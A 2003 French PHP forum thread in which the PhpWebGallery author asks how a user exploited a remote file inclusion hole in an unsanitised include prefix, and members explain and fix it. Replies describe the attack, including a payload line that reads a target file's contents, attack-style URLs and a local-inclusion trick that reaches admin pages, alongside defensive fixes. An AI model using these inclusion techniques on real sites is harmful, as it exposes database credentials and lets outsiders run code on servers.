Forum |  HardWare.fr | News | Articles | PC | S'identifier | S'inscrire | Shop Recherche
1806 connectés 

  FORUM HardWare.fr
  Programmation
  PHP

  faille de sécurité dans mon script PhpWebGallery

 


 Mot :   Pseudo :  
 
Bas de page
Auteur Sujet :

faille de sécurité dans mon script PhpWebGallery

n°338051
z0rglub
Posté le 19-03-2003 à 23:22:43  profilanswer
 

bonjour à tous,
 
Je réclame l'aide des gouroux du PHP, un gars vient de trouver une faille dans mon appli PhpWebGallery (voir lien dans ma signature) qui permet d'exploiter ce bout de code :

Code :
  1. include_once( $prefixe_include."./include/mysql.inc.php" );
  2. include_once( $prefixe_include."./include/functions.php" );


le gars mets dans son URL "prefixe_include=http://www.lalala.com/machin/&name=mysql.inc.php" et ça lui sort ensuite le fichier mysql.inc.php (qui contient les infos de connexion naturellement).
 
Bref, il doit y avoir un script qui renvoie un bout de code PHP qui s'exécute du côté du site d'origine et qui demande de lire et d'envoyer à la sortie le contenu du fichier "name".
 
Seulement voilà, j'ai bien mis include_once( $prefixe_include."./include/mysql.inc.php" ); donc avec un prefixe_include "http://www.lalala.com/machin/", ça va simplement faire include_once( "http://www.lalala.com/machin/./include/mysql.inc.php" );
 
Comment ça peut marcher ????  :cry:


---------------
Ma galerie photo créée avec Piwigo et hébergée sur Piwigo.com
mood
Publicité
Posté le 19-03-2003 à 23:22:43  profilanswer
 

n°338073
beleg
黑社會
Posté le 19-03-2003 à 23:33:29  profilanswer
 

demande lui de te faire une demo  :p  parce que  :heink:

n°338089
z0rglub
Posté le 19-03-2003 à 23:41:39  profilanswer
 

je ne sais pas comment le joindre, c'est un de mes utilisateurs qui m'a contacté http://forum.phpwebgallery.net/ind [...] &f=1&t=773


---------------
Ma galerie photo créée avec Piwigo et hébergée sur Piwigo.com
n°338123
ethernal
Chercheur de vérité...
Posté le 20-03-2003 à 00:40:59  profilanswer
 

:lol: (pardon)
visiblement c'est très simple, il exécute sur le serveur distant son code. testé et approuvé :D
en faisant :
http://tonsite.com/include/config. [...] ql.inc.php
 
1. il se sert bien du code :
include_once( $prefixe_include."./include/mysql.inc.php" );
include_once( $prefixe_include."./include/functions.php" );
du fichier config.inc.php
 
ce qui donne après interprétation des arguments dans l'url :
include_once( "http://www.lalala.com/machin/./include/mysql.inc.php" );
include_once( "http://www.lalala.com/machin/./include/functions.php" );
s'il a ces 2 fichiers sur son site (pas spécialement avec le même contenu...) et qu'il s'arrange pour qu'ils soient envoyés SANS être interprétés, ils seront rapatriés chez toi et exécutés par TON serveur.
 
2. son script utilisé et inclu contient certainement une bête lecture du nom du fichier contenu en paramètre (name=mysql.inc.php).  Ce fichier est pris chez toi et il l'affiche à l'écran ou peut même directement modifier les fichiers de ton serveur...
ex : echo implode('', file($name));
 
ta grosse erreur consiste en
- l'utilisation des variables globales (mais bon... tout les serveurs ne le supportent pas)  
ex : Si tu ne les utilisais pas, le compilateur ferait la différence entre $prefixe_include et $HTTP_GET_VARS['prefixe_include']
( hé oui c'est là que ça devient utile... pour ceux qui ne le savaient pas ;) )
donc un passage dans l'url de prefixe_include n'aurait aucun effet.
- la non initialisation de la variable $prefixe_include. il est défini dans init.inc.php et dans isadmin.inc.php (et peut-être dans d'autres fichiers), mais pas si on accède directement à config.inc.php, c'est là le problème.
 
Comment n'y ai je pas songé plutôt... enfin, j'avais pas regardé ton code depuis la dernière fois.
 
bon pour corriger, tu dois... heu... c'est embêtant :(
si tu initialises $prefixe_include dans config.inc.php, tu perds la modularité..., mais tu gagnes en sécurité.
soit, simplement faire un test que $prefixe_include ne puisse contenir que '' ou '.' et surtout pas de "http://" (mais là c'est à toi de voir selon tes besoins)


Message édité par ethernal le 20-03-2003 à 01:44:53

---------------
...oups kernel error...
n°338124
dropsy
et bonne chance surtout...
Posté le 20-03-2003 à 00:43:16  profilanswer
 

z0rglub a écrit :

je ne sais pas comment le joindre, c'est un de mes utilisateurs qui m'a contacté http://forum.phpwebgallery.net/ind [...] &f=1&t=773


 
ben sur le lien que tu donnes toutes les infos pour comprendre ce qui se passe ont été surpprimé, donc c'est pas évident de cerner le pbm  [:proy]   (surtout que je connais pas la structure de ton appli)
 
edit: master ethernal est passé par là entre temps :whistle: et c'est plus clair


Message édité par dropsy le 20-03-2003 à 00:45:02
n°338126
ethernal
Chercheur de vérité...
Posté le 20-03-2003 à 00:51:13  profilanswer
 

dropsy a écrit :


edit: master ethernal est passé par là entre temps :whistle: et c'est plus clair


 
comme vous savez tout maintenant, à vous les hacks :D


---------------
...oups kernel error...
n°338137
beleg
黑社會
Posté le 20-03-2003 à 01:48:40  profilanswer
 

jai cassé mon ninternet en telechargeant ta gallery pr voir les sources  :lol: .
 
Je voulais verifier les tests que tu faisais sur les variables utilisés en parametres de include() mais tt est dit .. donc dodo.
 
soit, simplement faire un test que $prefixe_include ne puisse contenir que '' ou '.' et surtout pas de "http://" (mais là c'est à toi de voir selon tes besoins)
 :jap:  
tu peux verifier que le chemin que tu vas donner en pature a ton include est bien sur le systeme de fichiers local. file_exists() je crois ... a creuser


Message édité par beleg le 20-03-2003 à 01:53:52
n°338202
z0rglub
Posté le 20-03-2003 à 09:21:05  profilanswer
 

justement, pour moi, l'impossible, c'est de faire include_once( "http://www.lalala.com/machin/./include/mysql.inc.php" ); à cause du "machin/./include" (le point....)
 
Je vais faire un test pour que ce prefixe soit à '' ou '.' et puis c'est tout, mais quand même je suis super étonné.
 
Merci ethernal (j'avoue que j'attendais ta réponse, le problème étant quasiment identique à la faille que tu avais décelé lors de la version 1.0)


---------------
Ma galerie photo créée avec Piwigo et hébergée sur Piwigo.com
n°338314
ethernal
Chercheur de vérité...
Posté le 20-03-2003 à 11:20:28  profilanswer
 

la nuit ayaynt porté ses fruits, j'ai une solution encore plus simple : utilise une constante.
define(PREFIXE_INCLUDE, '';);
define(PREFIXE_INCLUDE, '.';);
 
il n'est pas possible à ma connaissance de modifier une constante par url et comme tu ne le défini qu'une fois au chargement du fichier, ça s'y prête bien.


---------------
...oups kernel error...
n°338318
z0rglub
Posté le 20-03-2003 à 11:25:09  profilanswer
 

ethernal a écrit :

la nuit ayaynt porté ses fruits, j'ai une solution encore plus simple : utilise une constante.
define(PREFIXE_INCLUDE, '';);
define(PREFIXE_INCLUDE, '.';);
 
il n'est pas possible à ma connaissance de modifier une constante par url et comme tu ne le défini qu'une fois au chargement du fichier, ça s'y prête bien.


bonne idée, j'utilise peu les constantes mais je devrais parfois (ici ça me semble tout à fait adapté)


---------------
Ma galerie photo créée avec Piwigo et hébergée sur Piwigo.com
mood
Publicité
Posté le 20-03-2003 à 11:25:09  profilanswer
 

n°338319
z0rglub
Posté le 20-03-2003 à 11:26:44  profilanswer
 

et sinon, tu saurais me dire comment c'est possible de faire un include avec un nom de rep qui s'appelle '.' ? http://www.lalala.com/machin/./include/config.inc.php...


---------------
Ma galerie photo créée avec Piwigo et hébergée sur Piwigo.com
n°338322
beleg
黑社會
Posté le 20-03-2003 à 11:31:52  profilanswer
 
n°338324
ethernal
Chercheur de vérité...
Posté le 20-03-2003 à 11:33:23  profilanswer
 

ça ne pose pas de problème à l'inclusion comme le dis Beleg
 
teste par toi même :
http://www.censured.com/phpgallery [...] include=tt
regarde les erreurs générées...
 
et si tu lui réinclus l'emplacement de sa propre page, les erreurs d'inclusion disparaissent, c'est qu'il a trouvé les fichiers
http://www.censured.com/phpgallery [...] hpgallery/


Message édité par ethernal le 20-03-2003 à 11:52:30

---------------
...oups kernel error...
n°338330
z0rglub
Posté le 20-03-2003 à 11:43:40  profilanswer
 

je vois quand même :

Code :
  1. Fatal error: Call to undefined function: get_moment() in /home/users/zelabo/www/phpgallery/include/config.inc.php on line 25


 
il fait pas d'erreur sur l'include mais il charge pas les fonctions de functions.inc.php


---------------
Ma galerie photo créée avec Piwigo et hébergée sur Piwigo.com
n°338332
z0rglub
Posté le 20-03-2003 à 11:46:45  profilanswer
 


ok je pensais pas que c'était possible
 
Note : je sais bien que '.' est le rep courant, j'ai tout de même un minimum de connaissance, PhpWebGallery, je l'ai programmé en entier ;-) (et puis sous linux en mode console, c'est le genre de truc qui peut servir)


---------------
Ma galerie photo créée avec Piwigo et hébergée sur Piwigo.com
n°338339
ethernal
Chercheur de vérité...
Posté le 20-03-2003 à 11:50:37  profilanswer
 

tout a fait, la raison est simple : l'inclusion distant de ses propres fichiers retourne des pages blanches puisque'elles sont interprétées lors du chargement.
(charge mysql.inc.php ou functions.inc.php dans ton browser, les pages sont vides)
 
je sais pas si j'ai été clair ?
qd tu fais un include distant, c'est comme si ton browser chargeait la page et le résultat est inclu dan la page php du serveur.
si ta page mysql.inc.php contenait <? echo 'test'; ?>
en faisant ce que tu fais plus haut, tu incluerais 'test'.
si maintenant ta page mysql.inc.php contenait <? echo '<? echo "test"; ?>'; ?>
en faisant ce que tu fais plus haut, tu incluerais 'echo "test"'.


---------------
...oups kernel error...
n°338343
ethernal
Chercheur de vérité...
Posté le 20-03-2003 à 11:54:10  profilanswer
 

z0rglub a écrit :

je vois quand même :
il fait pas d'erreur sur l'include mais il charge pas les fonctions de functions.inc.php


 
c'est bien la preuve qu'il charge la page incluse à distance et pas le fichier original (cfr mon post précédent)


---------------
...oups kernel error...
n°338344
z0rglub
Posté le 20-03-2003 à 11:56:48  profilanswer
 

ok, je vois, ça met du temps à rentrer, mais ça va. Faut donc bien comprendre que lors de l'include, si on utilise une URL, le fichier va être renvoyé interprêté et si on utilise un chemin, il ne le sera pas.


---------------
Ma galerie photo créée avec Piwigo et hébergée sur Piwigo.com
n°338351
ethernal
Chercheur de vérité...
Posté le 20-03-2003 à 12:01:58  profilanswer
 

exactement  :jap:  
tu l'expliques mieux que moi :D


---------------
...oups kernel error...
n°338353
art_dupond
je suis neuneu... oui oui !!
Posté le 20-03-2003 à 12:02:17  profilanswer
 

youp,  
 
 
j'ai pas tout compris, mais vous pourriez me dire s'il y a alors des précautions à prendre lors d'un include ?
 
 
 
merci


Message édité par art_dupond le 20-03-2003 à 12:02:29

---------------
oui oui
n°338359
z0rglub
Posté le 20-03-2003 à 12:05:51  profilanswer
 

art_dupond a écrit :

j'ai pas tout compris, mais vous pourriez me dire s'il y a alors des précautions à prendre lors d'un include ?


lors d'un include, il faut toujours vérifier ce que tu inclus.
 
Par exemple, ne pas faire

Code :
  1. include ( $file );

sans tester la valeur de $file juste avant l'include.


---------------
Ma galerie photo créée avec Piwigo et hébergée sur Piwigo.com
n°338364
art_dupond
je suis neuneu... oui oui !!
Posté le 20-03-2003 à 12:09:25  profilanswer
 

je teste qu'il n'y ait pas "http" c'est ca la morale de l'histoire :p ?


---------------
oui oui
n°338370
z0rglub
Posté le 20-03-2003 à 12:14:02  profilanswer
 

ouais, je pense que ça t'évitera déjà pas mal de désagrément !


---------------
Ma galerie photo créée avec Piwigo et hébergée sur Piwigo.com
n°338373
ethernal
Chercheur de vérité...
Posté le 20-03-2003 à 12:14:52  profilanswer
 

oui : pas inclure n'importe quoi !
 
si tu as une page a.php (ok)
<?
$prefixe= '/test/';
include('b.php';);
?>
 
une page b.php (danger)
<?
include($prefixe. 'd.php';);
?>
 
si je suis un vilain pirate, je vais charger ta page b.php (sans passer par la page a.php en lui transmettant une valeur pour $prefixe dans l'url de façon à charger le fichier que JE veux...
 
Sinon vérifier 'http' n'est pas suffisant... imagine une page qui en inclu une autre et une partie admin protégée par un .htaccess.
je pourrais inclure les fichier d'administration dans ta partie accessible à tout le monde et passer outre toute tes protection par mot de passe...
 
index.php
<?
 include($page); //avec vérif de non http si tu veux...
?>
 
http://tonsite.com/index.php?page=index -> ok
http://tonsite.com/index.php?page=admin/index -> charge ta page d'admin librement...
 


---------------
...oups kernel error...
n°338399
art_dupond
je suis neuneu... oui oui !!
Posté le 20-03-2003 à 12:28:03  profilanswer
 

oki merci les gens :jap:


---------------
oui oui
n°367237
omega2
Posté le 19-04-2003 à 17:23:04  profilanswer
 

Je sais que j'arrives largement après la bataille mais j'ai une technique que je penses fiable pour éviter ce genre de trous de sécurité :
ne mettre que des fonctions ou des classes dans les fichiers inclus par d'autres. (plus avoir toutes les pages en .php3 ou .php évidemment ;) )
 
S'il n'y a aucune ligne de code en dehors des fonctions ou des classes, celui qui inclus le fichier a distance ou qui appelle le fichier a distance en passant tous les paramêtres qu'il veut ce retrouvera avec une page vide.
 
Il sera obligé de passer par une autre page sur le même site pour pouvoir provoquer l'exécution du code de la page et si les vérfications et initialisations sont bien réalisés dans ces pages là, on ne craind plus grand chôse. :)
 
C'est ma technique à moi, c'est peut être pas la meilleure ni la plus fiable, mais jusqu'à présent, au niveau de ma base de donnée, j'ai jamais détecté la moindre bizarerie et on m'a jamais parlé d'une faille de sécurité sur mon site.
Bon, il m'est quand même arrivé de faire une erreur de réglage des droits d'accés par défaut d'un visiteur identifié mais c'était pas une erreur au niveau du code.

n°367266
Hermes le ​Messager
Breton Quiétiste
Posté le 19-04-2003 à 17:52:25  profilanswer
 

omega2 a écrit :

Je sais que j'arrives largement après la bataille mais j'ai une technique que je penses fiable pour éviter ce genre de trous de sécurité :
ne mettre que des fonctions ou des classes dans les fichiers inclus par d'autres. (plus avoir toutes les pages en .php3 ou .php évidemment ;) )
 
S'il n'y a aucune ligne de code en dehors des fonctions ou des classes, celui qui inclus le fichier a distance ou qui appelle le fichier a distance en passant tous les paramêtres qu'il veut ce retrouvera avec une page vide.
 
Il sera obligé de passer par une autre page sur le même site pour pouvoir provoquer l'exécution du code de la page et si les vérfications et initialisations sont bien réalisés dans ces pages là, on ne craind plus grand chôse. :)
 
C'est ma technique à moi, c'est peut être pas la meilleure ni la plus fiable, mais jusqu'à présent, au niveau de ma base de donnée, j'ai jamais détecté la moindre bizarerie et on m'a jamais parlé d'une faille de sécurité sur mon site.
Bon, il m'est quand même arrivé de faire une erreur de réglage des droits d'accés par défaut d'un visiteur identifié mais c'était pas une erreur au niveau du code.


 
je fais pareil. Et en plus, sur chaque page, je vérifie la session...  :whistle:

n°367272
omega2
Posté le 19-04-2003 à 18:01:00  profilanswer
 

Hermes le Messager a écrit :


 
je fais pareil. Et en plus, sur chaque page, je vérifie la session...  :whistle:  

j'ai fait mon propre système de session et je vérifie l'ID de session, l'IP et un code aléatoire définis à l'ouverture de la session. Si ca corespond pas, je considère que l'ID = 0 ce qui veut dire pas de session ouverte et donc on tombes dans les droits par défaut pour un visiteur inconu. :)
Au début, mon code aléatoire pouvait contenir des codes spéciaux mais j'ai eu des problèmes de relecture de la valeur (code tronqué par le navigateur ou par le serveur alors que la valeur était bonne dans le cookie) et du coup, je les aient enlevé de la lsite des codes possibles. ;)

n°367281
Hermes le ​Messager
Breton Quiétiste
Posté le 19-04-2003 à 18:35:52  profilanswer
 

omega2 a écrit :

j'ai fait mon propre système de session et je vérifie l'ID de session, l'IP et un code aléatoire définis à l'ouverture de la session. Si ca corespond pas, je considère que l'ID = 0 ce qui veut dire pas de session ouverte et donc on tombes dans les droits par défaut pour un visiteur inconu. :)
Au début, mon code aléatoire pouvait contenir des codes spéciaux mais j'ai eu des problèmes de relecture de la valeur (code tronqué par le navigateur ou par le serveur alors que la valeur était bonne dans le cookie) et du coup, je les aient enlevé de la lsite des codes possibles. ;)


 
j'avais pensé faire également mon propre système de session. Peux-tu me dire comment tu as procédé exactement ? ça m'intéresse (lié au bug de php concernant le XHTML 1.1 avec les sessions et les formualaires --> discussion qu'on avait eu ici).
 

n°367310
omega2
Posté le 19-04-2003 à 19:26:14  profilanswer
 

Hermes le Messager a écrit :


 
j'avais pensé faire également mon propre système de session. Peux-tu me dire comment tu as procédé exactement ? ça m'intéresse (lié au bug de php concernant le XHTML 1.1 avec les sessions et les formualaires --> discussion qu'on avait eu ici).
 
 

Ben en fait, j'ai fait simple.
J'ai une base de donnée (mysql) avec une table user contenant plusieurs colones dont l'id (unique auto incrément, id interne au site, et jamais envoyé vers le navigateur sauf pour une partie de la section d'administration) nom, pseudo (codé avec password() de mysql) et une autre pour dévalider certains comptes. (libération du pseudo)  
J'ai une autre table contenant l'id de session, le code aléatoire, le numéro d'utilisateur, la date/heure d'ouverture de la session et la date/heure de dernière visite, l'IP du visiteur.
 
Quand la personne cherche à se loguer, je vérifies le couple nom/mot de passe.  
 
S'il est valide:
 
je récupères l'id corespondant.
je génère, le code aléatoire.
Je créé une nouvelle ligne dans la table session contenant les deux valeurs précédante et en mettant la date/heure actuelle comme date/heure d'ouverture de la session et du dernier passage (dernier passage servant à indiquer les personnes identifié qui sont "présentes" sur le site a un moment donné) et l'IP du visiteur.
Je récupères l'id de cette ligne et la stocke dans le cookie ainsi que le code de vérification.
 
Quand la personne repase, je vérifie que sa session est encore valide (grace à la première date) et qu'elle corespond bien à ce qui est indiqué dans son cookie. (code de vérification et IP corespondant à l'identifiant de session)
 
Jusqu'à présent, je ne pouvais pas vérifier si les cookies était désactivé ou pas mais grace au système stat, je peux le vérifier (valeur mise dans le cookie dès le premier passage pour pas compter une nouvelle visite pour chaque page s'il n'y en a eu qu'une seule en réalité). Du coup, je modifierais mon site pour passer ces infos par les liens si ca devient vraiment nécessaire.
 
Si on veut plus de sécutité, on peut rajouter l'identifiant du navigateur, comme ça ca réduit encore les risques. :)

n°367330
Hermes le ​Messager
Breton Quiétiste
Posté le 19-04-2003 à 20:30:52  profilanswer
 

Très intéressant tout ça. Je vais étudier ça de près et faire des tests pour voir si je n'alourdis pas trop mon forum en faisant comme cela.
 
Merci pour toutes ces précisions.

n°367354
omega2
Posté le 19-04-2003 à 21:05:47  profilanswer
 

Tu me tiendras au courant de tes essaies j'espère. ;)

n°367366
Hermes le ​Messager
Breton Quiétiste
Posté le 19-04-2003 à 21:30:27  profilanswer
 

omega2 a écrit :

Tu me tiendras au courant de tes essaies j'espère. ;)


 
Pas de problèmes. Mon forum avance tranquillou ;)
 
Je te tiendrais au courant ainsi que toute la section quand il sera fini.

mood
Publicité
Posté le   profilanswer
 


Aller à :
Ajouter une réponse
  FORUM HardWare.fr
  Programmation
  PHP

  faille de sécurité dans mon script PhpWebGallery

 

Sujets relatifs
Aidez moi à afficher un 1er script en PHP.suis débutante.!! HELPEZ MOI[PHP]Qui veut mon script de page de demarrage???
pb avec mon script[SQL] generer un script de sauvegarde en .sql
connection bdd permanente ou connection bdd par page de script ?Problème de focus... [Résolu] -- Script à emporter tout chaud...
Recherche script php compteur de click simple et performant[flash] introduire un script javascript dans du flash (newbie)
Interprétation script php (apache 2.0)[PHP] Cherche un script sur l'état d'un serveur...
Plus de sujets relatifs à : faille de sécurité dans mon script PhpWebGallery


Copyright © 1997-2022 Hardware.fr SARL (Signaler un contenu illicite / Données personnelles) / Groupe LDLC / Shop HFR